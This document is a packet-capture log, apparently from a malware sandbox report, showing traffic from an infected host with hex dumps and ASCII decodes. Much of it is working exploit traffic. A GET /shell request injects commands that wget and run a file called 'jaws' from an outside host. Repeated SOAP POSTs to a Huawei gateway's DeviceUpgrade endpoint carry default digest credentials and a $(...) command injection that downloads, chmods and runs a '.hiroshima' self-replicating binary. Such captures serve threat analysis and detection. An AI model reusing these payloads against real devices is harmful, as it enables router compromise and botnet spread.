6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1446	192.168.2.23	58534	154.38.157.17	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.605318069 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.847800016 CEST	1289	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.9 Mime-Version: 1.0 Date: Sun, 14 Apr 2024 01:50:38 GMT Content-Type: text/html Content-Length: 3257 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 7d 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff;}
Apr 14, 2024 04:00:57.847822905 CEST	1289	IN	Data Raw: 0a 2f 2a 20 47 65 6e 65 72 61 6c 20 74 65 78 74 20 2a 2f 0a 70 20 7b 0a 7d 0a 0a 2f 2a 20 65 72 72 6f 72 20 62 72 69 65 66 20 64 65 73 63 72 69 70 74 69 6f 6e 20 2a 2f 0a 23 65 72 72 6f 72 20 70 20 7b 0a 7d 0a 0a 2f 2a 20 73 6f 6d 65 20 64 61 74 Data Ascii: /* General text /p {}/ error brief description /#error p {}/ some data which may have caused the problem /#data {}/ the error message received from the system or other software */#sysmsg {}pre { font-family:sans-seri
Apr 14, 2024 04:00:57.847845078 CEST	920	IN	Data Raw: 3d 22 65 72 72 6f 72 22 3e 20 3c 70 3e 3c 62 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 62 3e 3c 2f 70 3e 20 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 20 20 3c 70 3e 53 6f 6d 65 20 61 73 70 65 63 74 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 Data Ascii: ="error"> <p><b>Invalid URL</b></p> </blockquote> <p>Some aspect of the requested URL is incorrect.</p> <p>Some possible problems are:</p> <ul> <li><p>Missing or incorrect access protocol (should be <q>http://</q> or similar)</p></li> <li><p

Session ID	Source IP	Source Port	Destination IP	Destination Port
1447	192.168.2.23	35080	156.235.100.183	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.773766994 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:58.691732883 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:59.779566050 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:02.019205093 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:06.370604992 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:15.073487043 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:33.246803999 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 